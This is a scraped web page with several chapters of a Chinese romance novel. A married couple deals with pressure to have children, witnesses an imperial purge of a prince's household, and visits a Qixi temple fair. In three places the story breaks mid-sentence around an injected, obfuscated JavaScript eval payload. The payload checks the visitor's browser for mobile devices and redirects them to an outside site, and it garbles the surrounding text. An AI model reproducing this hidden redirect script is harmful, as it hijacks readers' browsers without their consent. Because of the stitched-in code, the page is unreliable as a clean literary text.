南有音轻哼了一声,玩笑道:“这会儿不怕我巴结你家了,不怕我想为玉振谋点好处了?” 她是在说过去徐寂宁曾疑心她嫁到徐府是因为相中了徐老爷的权势地位。 徐寂宁脸微微有点红,有点不好意思,缓缓说道:“有音,我都跟着你出生入死了,我早知道你是什么样的人了。” 他轻轻咳了一声,注视着南有音,颇为郑重地为过去道歉:“有音,过去是我武断了……” 虽然徐寂宁的伏低做小让南有音颇感受用,但她还是愤愤道:“才不会轻易原谅你,当时可让我好伤心呢!” 徐寂宁很不安,再次认真地道歉:“有音,对不起,我那个时候实在太……” 徐寂宁绞尽脑汁想找出一个罪大恶极的词语来谴责自己,他却忽然听到了南有音的笑声。 他闷闷道:“有音,你又想到什么好玩的了?” 南有音笑嘻嘻说道:“我只是在想现在我不喜欢你了,那我呆在徐府,为我爹还有玉振做点打算,赚点好处,也是无可厚非嘛。” 徐寂宁立刻表态:“回到京城之后,玉振的事我会亲自同老爷谈谈。” 南有音大吃一惊,她只是觉得好玩而已,徐寂宁怎么就这么干脆地答应了。 她问到:“你不是很讨厌那些为了权势讨好你爹的人嘛?” 徐寂宁脱口而出:“你和他们又不一样。” “不一样?有什么不一样?”南有音无所谓地平淡道,“不都是一样的爱钻营人情世故,想要攀附权贵。” 徐寂宁说不出什么一二三,只是说:“……反正是不一样的。” 他否认了南有音的话,但其实他自己也没弄清楚南有音与其他人相比,在他这里究竟有什么不一样。 他隐约觉得自己不对劲儿起来,在面对南有音时好像有点不对劲儿。 “不管怎么说,我可记得你答应了哦,你就替玉振多想想办法啦。”南有音没有再深究,而是继续依照徐寂宁的口述写信,但写着写着,徐寂宁忽然卡壳了。 南有音问道:“写完了?” “没有……” “那你怎么不说了?” 徐寂宁看上去有点讷讷的:“太太在信里提到要小孩的事,问我最近怎么样,我在想该怎么回复她……” 南有音提议道:“要不直接告诉她我不喜欢你,你也不喜欢我,没法在床上干夫妻之间的事儿。” 徐寂宁苦笑一下:“太太最不会理会什么喜欢不喜欢的了,她只会说京城夫妻都是这样,怎么你跟我就不行。” 南有音不得不承认:“这确实像是太太会说的。” “要不就说你卧床养病,没法造小孩儿,”南有音重新建议道,“毕竟你确实病了很久,而且只要你病着,太太也就没理由鞭策你跟我生小孩了。” 徐寂宁毫不犹豫的否决了南有音的提议,自从他险些病死一命呜呼之后,徐夫人对于他的身体状况一向有些过于草木皆兵,他不打算让母亲知道他又生病的事,免得母亲又生事端。 他们二人又提出一些想法,但最终又都否决了,不约而同的陷入了沉默。 “天哪!”南有音沉重道,“我都不敢想,等回到京城,我得找什么借口才能应对妈还有太太催我生孩子。” 南有音觉得那会是一场无休无止、没有硝烟的战争。 告诉母亲或者徐夫人自己与徐寂宁不是夫妻是朋友显然是一个很傻的决定,没人觉得明媒正娶拜堂成亲后的两人还能是清清白白的朋友关系。 她甚至都能想到自己告诉母亲不喜欢徐寂宁之后,母亲肯定会理所当然的说“那更要有个孩子了傍身了,不然你一个人在徐府多么寂寞”。 只是这么想想南有音就觉得一阵头疼,想起徐夫人又觉得头疼得更厉害了,之前几次接触下来,她是明白徐夫人完全把传宗接代的任务压在她身上了。 她理解两位夫人的想法,却倍感无能为力,她忽然想起母亲与徐夫人都对她说过女人的价值就在于生儿育女,顿觉一阵压抑。 在她身边,徐寂宁忽然犹犹豫豫,自言自语一般道:“要不就说我不举吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445814|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你说什么?”南有音瞪大了眼睛,手中的毛笔没拿住,“啪嗒”一声掉到了地上。 徐寂宁脸很红,匆忙解释道:“我只是觉得这个办法可以一劳永逸,如果我不行,那自然就不会有人盼着我和你生小孩了。” 大概是为了自尊心,徐寂宁又小声补充一句:“当然啦,我不是真的不举。” 他是没有忘记南有音曾疑心他不举的事情。 南有音缓了好一会儿才从震惊中回过味来:“你不会真要这么跟太太说吧?” “这样说也好,总归写信告诉她,比见了面当面说强点,对吧?”徐寂宁勉强挤出一个笑容。 南有音从新捡起笔,思考片刻看向徐寂宁,徐寂您也看着她,面面相觑了,两人都不知道怎么把不举这种事在信中写得委婉得体。 南有音搁下笔,依然有些难以置信:“徐寂宁,你真要这么说?万一传出去,你会被同僚笑话死的。” “他们笑便笑,随便他们,”徐寂宁垂下眼帘,“但至少这样太太就不会为难你了,你在南夫人那边也好交待,省得他们非要你生小孩……” 南有音一时愣住了,半晌轻声问道:“徐寂宁,你是为了我愿意这么说的吗?” “大概吧……”徐寂宁脸仍旧有点红,“至少这种事上,大家对男子总比对待姑娘宽容很多,太太总说女孩儿的作用就是生育,如果我说是我的问题,她就没办法再指责你了……” 徐寂宁忽然想起过去,南有音按照他说得对徐夫人说“自己的价值不应只束缚在生育”,却被驳斥,闷闷不乐,那时他理所当然地搬出三姐过去常说的话,说南有音见识浅薄,但当南有音质问,当今世道,她除了生儿育女还能做什么时,他惭愧内疚,因为他那时也不知道除此之外南有音还能有什么价值。 但现在,他的视线挪到了那一沓话本子草稿上,他真诚地说道:“有音,你的话本子比市面上那些酸文人写得好多了,你过去质问我你可以做些什么,那时我也答不上来,但现在,你看——” 徐寂宁指着那一沓草稿:“你已经做得很好啦。” 南有音想像往常一样俏皮又自信地说“那是当然,毕竟是我呀”,但心底忽然涌起的重重叠叠情绪占据了一切,她没有说话,目不转睛地注视着徐寂宁,嘴角微微扬起,任凭一种安全又温暖的感觉充盈了整个胸腔。 在那么一瞬间,她觉得自己像是沉浸在幸福中的人,也是在那么一瞬间,她有所动容,差点恍惚地以为她曾梦想过得婚后生活降临了。 但她很快清醒了,这一切只是因为徐寂宁的行为使她想到了她的父母,南晨颂夫妻,一对非常恩爱的夫妻,曾经她对婚姻的期待就因为她总能从父母脸上捕捉到幸福的痕迹。 南有音与南玉振并非南氏夫妻的亲生子女,南氏夫妇成亲多年一直无子,南老爷不忍妻子遭受流言蜚语,一直对外宣称是自己的问题,无法生育,但实际上是南夫人杜月玲的问题。 南有音是知道这个秘密的。 正因为自己无法生育,南夫人格外忧虑女儿南有音,她告诉了南有音没有孩子的女人会很孤单,随时很可能被抛弃,还会遭受飞短流长的闲话。 南有音不以为然,也不想听母亲唠叨,就随口乱说道:“实在不行领养几个小孩,反正都差不多可爱。” 南夫人脸色却沉了:“哪有你想的那么简单,你不生,那便会有妾室生,妾室不生,还有外室。” “可是妈,”南有音不服,“爹就没有什么妾之类的。” “你爹他……”南夫人念及少时往事,轻轻叹了口气,又忧心忡忡道,“你爹情义深重,可世间男子大多是负心汉,阿音,徐家小少爷是什么样的人,你清楚吗?” 南有音觉得,现在她隐约有那么一点清楚了。 55. 迷途 自从抵达白坪州后,薛停将南有音与徐寂宁好吃好喝的安顿在客栈之后,就再也没了踪迹,没有传达什么新的指示,也没有说要两人在白坪州待到什么时候。 一晃十多天过去了,南有音将城中心逛了个遍,渐渐觉得无聊起来。 “徐寂宁,我们什么时候才能回京城呀?”她百无聊赖地扇着扇子,“我有点想家了。” 徐寂宁身体已经好了很多,灰白的脸终于恢复了几丝血色,他又重新淘换了一本岭南的地方志,天天埋头苦读,时不时记录点什么。 南有音看过徐寂宁记得东西,大多是什么佃租田赋之类的,挺没意思。 “我也不太清楚,不过应该快了,等朝廷料理了永安王的事,你我差不多就该走了。”徐寂宁从书中抬起头来,问道,“永安王府就在白坪州,你天天出去逛,有听到什么消息吗?” 南有音懒散地打了一个哈欠,说道:“我只找吃喝玩乐,才不想管什么朝廷政治。” 徐寂宁有点不认可:“事关朝廷,总应当稍稍留意。” 南有音不以为然:“过去爹教我读书的时候,我憧憬那些清官廉吏,问爹我能不能当官参政,我爹说朝廷是一汪臭水,滋生蚊蝇,叫我不要靠近。” 徐寂宁微微蹙眉,这不是他第一次听到这种话了,他见到的南老爷懦弱谄媚,与南有音口中的大不一样。 “你爹还能说出这样的话来……”徐寂宁揉了揉眉头,他有些搞不清南老爷那些大逆不道的言论是对是错。 “我爹可是很聪明的呀,他不到二十就考中了进士呢,你可不要小瞧了他。”南有音趴在窗台,懒洋洋地望着街道,白坪州的街道上永远有行人,只是不论男女老少,都像是被太阳烤蔫了一样,无精打采,跟南有音一样懒散无力。 两天后的清晨,踢踢踏踏的脚步声中,身穿甲胄的士兵忽然涌入了白坪州的大街小巷,城中氛围陡然一变,路上行人低着头,脚步匆匆。 白坪州内外已经传出了消息,朝廷的兵马封锁了永安王的府邸。 第三天清晨,南有音趁着夏天的毒太阳还没彻底升起来,出门一趟,一路上遇到的人都往同一个方向赶,她实在好奇,就跟了上去。 走了好长一段路,人群将巷子里挤得水泄不通,众人的议论声嗡嗡不绝。 南有音费了好大力气挤到前面去,愕然发现来到了永安王府所在的街道。 王府被朝廷的士兵包围了,那些雕梁画栋无比气派的殿宇在冷冷兵刃下无比的寂静萧索。 街道的一头出现了一些大动静,人群纷纷避让,南有音也在推搡中被挤到了一边,好不容易才站稳脚跟。 她踮起脚,往人群闪出了空地看去,远远地看到了好久未见的薛停,他骑在马上,面无表情,周身散发出的冷峻叫人不敢靠近。 薛停之后是几辆囚车,为首的巨大的囚笼中是一个披头散发只穿着里衣的男子,带着沉甸甸的枷锁,低头跪着。 人群中的议论声渐渐小了,最终消失了,只剩兵卒囚车行进的声音。 忽然,街边树上传来了刺耳的蝉鸣,这骤然响起的声音似乎让围观的众人大梦初醒一般的意识到了什么。 一个颤巍巍地声音在人群中响起,那声音凄厉又愤慨:“是王爷,那是王爷!” 人群躁动不安起来,有恼怒的,有困惑的,也有害怕的。 “怎么回事,白坪州难道要变天了?” “王爷犯什么罪了,怎么这样?” “我之前听说朝廷要度田和重编户口,该不会是因为……” “这些朝廷的狗官凭什么关押王爷!” 王府周围的士兵纷纷握住了佩刀刀柄,唰地一下抽出利刃,肃穆的杀气又让一切重归沉寂。 凝重的乌云笼在白坪州的上空,遮住了刚刚升起不久的太阳,沉滞无风的闷热天气压得人喘不过气来。 随着囚车逐渐逼近,一切都更加凝滞了。 忽而一阵微风吹过,吹得人群衣带簌簌作响,不知是谁起头,百姓无声地跪倒路边,黑压压一片,比天上的遮天蔽日的云还要宽广深沉。 过了很久,直到临近正午时分,南有音才浑浑噩噩地回到了客栈。 早晨时天边聚拢的厚重云层已经散开,南有音坐着桌边,看着阳光热烈地照进窗子里,忽然产生了一些很不真实的感觉。 “有音,你怎么啦?”徐寂宁发现南有音失魂落魄的。 南有音喃喃道:“我看到薛大人包围王府,用囚车带走了永安王了。” 徐寂宁沉默一阵,说道:“迟早会有这么一天,藩王私藏兵甲,足以定性为十恶不赦的谋逆大罪。” “十恶不赦?可是百姓都跪下为他求情。比起朝廷,百姓更爱戴他。” 徐寂宁默然以对,岭南数日,他与南有音都探知了永安王爱民如子。 “还有,”南有音颤声道,“我看到他哭了。” “谁哭了?” “永安王。” 彼时南有音被挤到了前排,她抬头注视囚车,透过冰冷无情的铁槛,透过散乱花白的头发,她看到了一滴泪水,缓缓从囚犯的鼻尖滑落,顺着囚车的缝隙,掉在了街道的石板之上。 她看到了永安王深邃死寂的眼睛。 “他哭了,徐寂宁。”南有音有些失神,“他会死吗?” “谋反,是足以诛九族的大罪。”徐寂宁嘶哑道。 或许是南有音的描述太过详细,让他非常清楚的意识到那是犯了死罪的永安王,一个皇帝无论如何也要杀掉的王爷,也是一个将死之人。 “囚车后面还跟着带着枷锁的人,有一个年轻的妇人还抱着一个睡着的小小婴孩,”南有音问道,“株连九族……尚在襁褓的婴儿也会死掉吗?” “会死掉。”徐寂宁非常空洞的回答道,“朝廷斩草除根,不留后患。” 他无端又想起南有音曾说过得话,她曾说南老爷南晨颂说朝廷的官就是皇帝手中的剑,现在他隐隐觉得自己确实是一把剑,刺向了永安王,夺走不只一条生命。 南有音与徐寂宁茫然地坐在桌边,彼此都感到沉重。 太阳西斜,夕阳弥漫天空,徐寂宁忽然接到了薛停的消息,叫他去永安王府一趟。 薛停是要抄没永安王府的资产,特意叫徐寂宁前来协助。 惨红的夕阳中,薛停站在王府正门前,看上去很是疲倦。 他说道:“寂宁,这次你为朝廷立下大功了,皇帝有赏,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445815|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是永安王府的东西,你看上什么,便归你了。” 徐寂宁摇头,客套地说若非薛大人谨小慎微,记得他所说的话,到鲁蝶岛查看,否则他早就不在人世了,表示对薛停的感激,也说不敢居功。 薛停没说什么,只是请徐寂宁与他往府中走。 王府除了他们,一个人也没有,昨日还热闹繁华的府邸,今日萧索凄凉,似乎一日之间,路边的野草也长了数寸。 夕阳将人的影子拉的很长,清点王府物品的官员唱名记录,一套又一套的宝物从徐寂宁眼下经过,一栋又一栋的宫殿从徐寂宁脚下路过。 轻点到里面的庭院时,徐寂宁看到了地上散落的布老虎和拨浪鼓,这些显示着这里曾是王府那个小孩子的住所。 他弯腰去捡起那两样东西,却发现了飞溅的血液,夕阳下惨烈的红色拉过布老虎和拨浪鼓,一直飞溅到草丛中,凝固在草尖,而草尖之下,还有半截手指。 徐寂宁猛地后退,扔下手中捡起的布老虎,一阵反胃。 薛停淡然道:“时间太紧,下面的人还没来及彻底清理干净。” “那是小孩子的手……”徐寂宁惊魂未定,结结巴巴道,“为什么,为什么会这样?” 他想问为何要砍断小孩的手,想问那个孩子死状该不会异常凄惨。 “我也不知道,”薛停依旧冷漠道,“受谋反之罪的株连,必死无疑,只需要知道死了便是,不用在乎其他的。” 徐寂宁轻声怜悯道:“可是只知道玩布老虎的小孩子懂什么谋反。” 薛停眯起眼睛,开口告诫道:“寂宁,为官做宰,为陛下和朝廷尽忠,生杀予夺皆需毫不犹豫。” 徐寂宁有些犹豫道:“可是……” 薛停等着徐寂宁,但徐寂宁只是咬了咬嘴唇,什么都没有说。 薛停在朝中与徐朗关系尚可,他听徐朗提起过小儿子徐寂宁,徐朗曾说徐寂宁不适合当官,如今他也深感亦然。 “寂宁,做臣子的,只需要依照皇上的意思办事即可,”薛停拍了拍徐寂宁僵直的后背,从容的跨过地上的血迹,继续往前走,“你太年轻,就不要想太多了。” 天彻底黑下去后,徐寂宁浑浑噩噩地回到了客栈,他告诉了南有音他见到了一切,永安王府血流成河,死得不止永安王的亲眷,连府上的侍卫婢女也无一幸免。 “薛大人说如今已经没我什么事了。”徐寂宁说道。他没有带走任何一件永安王府的宝贝,只带来了薛停的话,“他说我们可以回京城了。” 但这个期盼已久的消息并没有让徐寂宁多么开心,相反让他有些茫然无措。 终于要离开岭南了,但或许他已将自己的某些部分永远地埋葬与此地了。 在岭南人生头一次面临生死攸关,在岭南第一次见到尸体、鲜血与死亡,在岭南第一次开始思考生杀由意的皇权与自己圣贤书中的人生理想…… 最后徐寂宁轻声道:“有音,我想起草一纸奏折,请皇帝饶恕那些无辜的人。” 南有音那双大眼睛骤然绽放出明亮的光芒,她一眨不眨的注视着他,让他心跳得很快。 也是在岭南,徐寂宁头一次察觉到,他与南有音的距离远没有他曾经想象的那样遥远。 56. 藤萝 离开岭南,一路往北,南有音写了一路的话本子,徐寂宁写了一路的奏折,两人有时写得乏了,就交换过来看看对方的东西。 南有音皱眉琢磨奏折里的说辞,徐寂宁写完了为向皇帝求情的文书,又要奏请皇帝依照过去永安王在岭南的办法改革岭南的赋税制度。 徐寂宁阅读南有音的新话本《结同心白首相见终不识》,这是一个悲伤的爱情故事,故事中的两位主角南郎与徐姬年少相识,相互爱慕,却因种种误会分离,白首再相见时都没有认出彼此,怀揣着对少时爱慕之人的思念于人群中擦肩而过。 徐寂宁替南有音稍加润色,使得整个故事的基调更为幽暗。 “这是少见的悲伤的故事呢。”徐寂宁总是不忍心读到最后,他疑心这个故事的主人公南郎与徐姬实际上是代指南有音与自己。 南有音说她就是那样想得,证实了徐寂宁的猜测。 “有音,你为什么要这样写?”徐寂宁心底泛起一阵感伤,“你觉得你和我最终也会这样白首相逢终不识吗?” “不至于吧,”南有音诧异道,“我们经常见面,只要你记性不算太差,不至于头发白了就不认得彼此了吧。” “可是你不说南郎和徐姬是以你和我做得原型吗,这两人结局不就是……” 南有音扑哧一笑:“你误会啦,我说的以你我为原型是指的我参照你写出徐姬这样娇滴滴的大小姐,南郎则是参照我的性格。” 徐寂宁脸红了,话本子里的徐姬是肩不能抗手不能提,走几步路就腰酸腿疼,爬山需要南郎背着的娇气包。 “什么嘛!我哪有那么娇气……”徐寂宁有点心虚地反驳。 南有音则一副随你怎么说,事实就是如此的神情,一双大眼睛带着笑意,有些玩味地注视着徐寂宁,看得徐寂宁浑身不自在。 南有音觉得徐寂宁动不动就脸红,有时候还怪好玩的。 徐寂宁嘟囔道:“有音……” “嗯?”南有音笑眯眯地应了一声,她猜徐寂宁要求她别这样盯着他看了。 但徐寂宁说的话出乎她的意料。 他局促又小声地说道:“有音,我会改的。” 或许是因为徐寂宁急于改变他在南有音心目中的形象,接下来的行程中,南有音感到了前所未有的舒心。 相比于从京城到岭南,南有音一路上事事劳心,从岭南到京城,南有音几乎过上了衣来伸手饭来张口的生活。 自从徐寂宁学会了烧水,便再也不叫南有音动手了,只要南有音口渴,徐寂宁立刻端茶倒水,察言观色的及时程度让南有音忍不住感叹徐寂宁很有做丫鬟的天赋。 回京一路上车马饮食,南有音也不必费心了,徐寂宁全权接管,他学着过去南有音的样子,播着算盘精打细算。 起初南有音还害怕从小挥金如土的徐寂宁对钱没概念,一口气花光了薛停给的路费盘缠,一直提心吊胆地记账,后面徐寂宁预算拮据,带着南有音在街边一家脏兮兮的便宜小铺子吃馄饨,南有音才意识到徐寂宁有所改变。 “徐寂宁,你也知道省钱啦?”南有音随手掏出徐寂宁怀里的手帕,擦了擦座位上一团黑漆漆的油污,坐了下来。 “之前住客栈订两间房子,钱花的有点多了。”徐寂宁解释道,“照这样下去,不够回京了,只得在饮食上削减了。” 薛停很慷慨,给足了盘缠路费,但他显然没有想到徐寂宁与南有音分房睡,一人一间屋子。 南有音天天记账,也发现了这一点,但她有点怀疑在饮食上削减这一办法是否可行。 果然在吃了四五天便宜的地摊后,南有音很好,徐寂宁却不行,先是他那根娇贵的舌头嫌太咸嫌太油,一顿饭在南有音的逼迫下勉强动两筷子,接着是他脆弱的肠胃,不知道吃了什么不干净的,又开始闹肚子,前前后后请郎中抓药,搭上了不少钱,又耽误了时间。 等到七月上旬,两人再度抵达徽州时,囊中羞涩,没再分房,只订了一间客房。 在徽州城中,徐寂宁写完了他长篇大论的赋税奏折,南有音也修改整理好了她写的话本子,两人一下子都闲得不行。 天气热得要命,南有音趴在客栈的桌子上,扇着扇子,无所事事地嘀咕道:“我听老板娘说,每年七夕徽州城里都有庙会。” “你想去吗?”徐寂宁问道。 “当然呀,”南有音兴致勃勃道,“老板娘还说,徽州城的风俗是七夕当天,未婚的男男女女都会上街,自由接触,据说每年都会凑成几对姻缘呢!” 南有音觉得她可以从中搜集点话本子的素材,从而有些激动。 但徐寂宁有些误会了,他以为南有音也借此机会交友玩乐,流露出那么一点闷闷不乐,但还是说道:“你要想去,我不跟着就是了。” 南有音奇怪道:“谁说不让你跟着了?” 徐寂宁道:“我跟在你身边,你不就不像未婚的姑娘了。” “啊?”南有音莫名其妙,“我也没打算假装自己没出阁呀。” “可你不是说徽州习俗是未婚男女自由交往吗,”徐寂宁气闷道,“我跟着,你怎么跟别人交往……” 南有音瞪大了眼睛,忍不住抬手拍了拍徐寂宁的脑门:“你在想些什么?难不成泻肚子把脑子也泻走了?我只是单纯想上街凑凑热闹而已,谁想着要上街交往未婚的青年啦?你不会因为这个不高兴吧?” 她脑海中猛地冒出一个念头,滑稽可笑。 “徐寂宁,”南有音犹疑不定道,“你该不会在瞎吃醋吧?” 徐寂宁立刻道:“我才没有!” 南有音仍然困惑地注视着徐寂宁,她觉得他不太对劲儿,他应该反问“我吃什么醋”,而不是立马否认。 七夕当天无比的闷热,傍晚时分天边渐渐聚起了厚厚的云,看着像是要下雨,饶是如此,依旧没有阻挡徽州城庙会的繁华。 南有音与徐寂宁穿梭在人群中,热得喘不过气,好不容易挤出了人堆,在路边歇了歇脚,想要继续逛,却发现哪个摊子都挤满了人,除了不远处一家算命的,冷清到连麻雀都不落在那儿。 南有音觉得那个盲眼的算命先生在这样一条繁华街道上格外可怜,便拉着徐寂宁过去照顾生意了。 徐寂宁压根不信这些神神叨叨地东西,不想花冤枉钱。 南有音觉得好玩罢了,况且也很便宜。 付了几个铜板后,算命先生要了两人的生辰八字,掐着手指推算。 “二位命格八字可谓天作之合,”算命先生惊讶地开口道,“老朽研究命理多年,还为见过如同你两个这样般配的命格。” 南有音立即追问:“怎么说?” 算命先生神神叨叨,一通你中有我我中有你的理论,将人绕得云里雾里,南有音皱眉细听,终于明白算命先生的意思。 他是说两人的命格缠绕在一起,如同藤蔓与高大树木缠绕在一起一样,福祸相依,生死相依,只要树活着,藤蔓便也能活着。 “你们二人的生命早就纠缠在一块了,”算命先生甚至用了一句词,“剪不断,理还乱。” 南有音问道:“呃,那该怎么办?” “什么怎么办?”算命先生对南有音的提问很是不满,“你们夫妻两个是命中注定的姻缘,天作之合,明白吗?” 算命先生着重强调了一下“天作之合”四个字,又嘀咕道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445816|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“还问我怎么办,好好过日子呗,多少人羡慕都羡慕不来的。” 南有音感到几分难言的尴尬,她没怎么觉出好来,徐寂宁说过不喜欢她,她现在也不喜欢徐寂宁,怎么就成了命中注定的姻缘了。 算命先生又对徐寂宁说道:“小伙子,你这命格早年多病多难,多亏了你身边这位姑娘你才能活到现在,你可要好好对她,要像爱眼珠子一样对她。” 最后一句话从一个瞎眼老人口中说出来显得格外郑重,这使得徐寂宁的回答也不禁认真起来:“我会的。” 离开算命摊子后,徐寂宁表示他觉得宫里钦天监的人跟庙会上一个算命老头水平一样。 南有音却说那可真是赚了,只花了那么点钱,就找到水平比肩钦天监的人了。 徐寂宁却有点纠结:“有音,你有没有发现,不管是钦天监的张大人,还是刚刚那个算命的瞎眼老先生,都说是因为与你在一起才我才能活着。“ 南有音随便道:“算命嘛,消遣而已,没必要太在乎。” 但徐寂宁暗暗觉得算命先生说得有道理,或许没有南有音,他在岭南早就死了不知道多少次了。 “我只是觉得委屈你了,”徐寂宁轻轻叹了口气,“连算命的都说你救了我很多次,可我什么也没有带给你。” “你跟我是朋友嘛,为朋友上刀山下火海,两肋插刀,义所不辞!”南有音义薄云天的宣誓完后,又笑道:“再说啦,你不是答应过要帮玉振在老爷面前说话吗,这也算带给我点,呃,裙带关系。” 徐寂宁和南有音拉着继续在人群里挤,挤来挤去闷热地厉害,便又拐到一个人少一点的街上。 南有音看到了街角卖冰镇西瓜的,急着要吃一块解渴,拉着徐寂宁往前走,拉了几下,徐寂宁却没反应。 南有音转过身来问道:“怎么了?” 她顺着徐寂宁的视线看去,看到了街上一个衣衫褴褛的黑瘦老者,手里捧着一只破碗,嘴里说着家里人生病,哀求路过行人的施舍。 南有音觉得心酸,下意识要掏钱,却忽然意识到自从徐寂宁管账之后钱都在他那里。 “徐寂宁,咳——”南有音清了一下嗓子,“给我点银子。” 徐寂宁将目光从乞讨者身上收回,问道:“你想给他吗?” “不然呢?” 南有音想起过去的经历,忽而一阵恼火,她可不想再听徐寂宁说出什么高高在上的话,之前在永州他们就曾因为对乞讨者的看法不同而争吵过。 南有音看到徐寂宁张嘴要说话,立刻冷冷打断:“你要是想说教什么就闭嘴。” 徐寂宁摇摇头,表示南有音误会了,他主动走向老者,询问了情况,犹豫了一下,数出给南有音买冰镇西瓜的几枚铜钱,而后将剩下的为数不多的钱都施舍了。 老者万分感激,他说无以为报,自己会永远祈祷老天保佑帮助他的好心人。 徐寂宁则说不需要报答:“只希望您一家人能快快好起来。” 他似乎是在垂怜老者,细长清透的眼睛里藏着一种少见的悲悯,让南有音觉得有点陌生。 离开乞讨的老者后,南有音有点恍惚地说道:“徐寂宁,你怎么忽然变了。” 从烈日炎炎的码头到末山南部的穷苦渔村,二十多年来养尊处优的徐寂宁终于见到了真实的百姓生活,从来不是安居乐业颐养天年,正如南有音曾经所说,赋税、劳役、疾病,三座大山悬在头顶,随便哪个都能压垮一个家。 徐寂宁为自己过去的想当然感到惭愧。 “在岭南流浪这些时间,我终于知道百姓的不易了,”他脸又有点发红,小声问道,“有音,我有变好了一点吧?” 57. 夏雨 徐寂宁改变让南有音有些惊讶,她讶然于这位京城的小少爷竟然也会将垂怜的视线投到百姓身上,讶然于他的两瓣薄唇中没有再吐出什么高高在上俯视众生的语句。 “徐寂宁,你变了。”南有音喃喃说道。 面对徐寂宁询问她自己有没有变好了,她笑眯眯道:“当然呀,徐寂宁,你不像以前那么讨人厌啦,我把你当做最好的朋友真不错呢!” 这个回答让徐寂宁心里感觉差一点意思,他说不出哪里出现了残缺空白,只是心间有点不舒服的落寞。 南有音用最后的几颗铜板买了两页西瓜片,徐寂宁说他不敢吃凉的,南有音便一人独享,清甜解渴,吃得不亦乐乎。 徽州城是从岭南到京城一路上最繁华的城池,恰逢七夕庙会,即便天气闷热,大街小巷仍然挤满了人群,街上有许多的年轻男女,他们脸上纯真又热烈的笑容使得乌云笼罩下的天色看上去都没有那么昏暗了。 偶尔有几个青年主动同南有音搭讪的,都被她笑嘻嘻地婉言拒绝,她也顺便帮局促不安的徐寂宁,拒绝了几个热情的姑娘。 再一次从人群中挤出后,南有音与徐寂宁坐在桥上的台阶,天闷无风,南有音一边用手扇风,一边注视着不远处人群中一对牵着手的少男少女。 少年眉飞色舞的说些什么,姑娘则捂着嘴低低地笑,说着说着,姑娘不知怎么被惹得羞了,恨恨一跺脚,作势跑了,年轻的小伙子立刻去追,一个在前面跑,一个在后面追,咯咯嬉笑个不停。 两人就这样嬉闹着从南有音眼前跑过,跑远,重新汇入了人群的海洋。 南有音心中无端生出了一点羡慕,她在少女时代也曾暗暗期许这般与心爱之人玩笑追赶的情形,她的父母南氏夫妇感情甚笃,年到中年依旧温存甜蜜,曾经的她注视着父母的婚姻,因其伉俪情深,便也总是期待自己的婚姻。 只是如今看来…… 一言难尽。 并非世上所有的夫妻都像她的父母一般。 南有音收回视线,将目光转向了身边的徐寂宁,她名义上的丈夫。 不知为什么徐寂宁也在注视着她,她和他的目光对上了,南有音微微一笑,徐寂宁却有些躲闪。 “比起京城的七夕,还是徽州城的更有意思。”南有音感叹道,“客栈老板娘说每年都会有年轻男女在七夕庙会结识,一见倾心,当地人说七夕牛郎织女相见,这份缘分是银河也隔不开的,于是这天认识的男女便可以不计较家世门第种种的差距鸿沟,只要两心相许,便可结为夫妻,由此传出好多佳话。” 南有音又笑道:“我听说客栈老板娘跟她丈夫就是这样认识的呢。” 徐寂宁道:“徽州的七夕庙会确实有趣,三姐活着时也说过,唯有两心相许的人,才是真正的夫妻。” “两心相许才是夫妻……”南有音揣摩着这句话,忽然惊叫一声,“徐寂宁,你一定是认同三姐的说法吧,过去我问你我和你算是什么,你只是说‘大概算是夫妻’。” 南有音抿嘴苦笑一下:“其实你那时说‘大概算是’是怕我伤心说得委婉了吧?咱们又不两心相许,当然不能算是夫妻。” “其实不是,我没有故意委婉……”徐寂宁垂下眼帘,轻声道,“三姐说两心相许才是夫妻,但松梯说明媒正娶同床共枕便是夫妻,我那时不清楚我和你的关系……” 南有音立刻问道:“那现在呢?” “现在……”徐寂宁抬眸注视着南有音倒映着庙会灯火的明亮眼睛,心中泛起一阵迷茫的涟漪,“我也不知道。” “什么叫你‘也’不知道?”南有音纠正道,“我是知道的,我觉得我们是朋友。” 徐寂宁的视线挪向了桥下的脉脉流水,闷闷说道:“好吧。” 看上去好像不太情愿。 闷热的天气逐渐发生了些许转变,街上卷起了一阵大风,远处彻底黑下来的天空出现了几道闪电,传来了沉闷的雷声,预示着一场大雨即将到来。 南有音撩了撩鬓角被风卷起的头发,说道:“咱们回去吧,马上变天了。” 她与徐寂宁起身没走几步,风忽然静止了一瞬,接着巨大的雨点从天上滂沱而来。 庙会上玩乐的人群纷纷惊呼,瞬间就散了。 